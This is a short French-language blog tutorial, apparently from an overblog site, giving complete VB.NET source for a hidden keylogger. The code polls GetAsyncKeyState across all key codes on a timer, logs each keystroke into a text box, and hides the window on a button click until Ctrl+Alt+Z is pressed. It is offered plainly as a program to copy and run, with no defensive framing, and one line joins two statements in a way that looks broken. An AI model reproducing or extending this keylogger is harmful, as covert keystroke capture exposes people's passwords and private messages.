tuto-informatique.seb30.overblog.com

Pour bien faire le programme il faut une richtextbox un timer et un bouton puis copier ce programme (ps: je l ai mit en petit sinon les lignes sont decalées).

dès que vous presser sur le bouton le programme se cache  et est invisible pour le faire apparaitre ctrl alt +z.

Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 

Timer1.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0

log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k) RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

End Class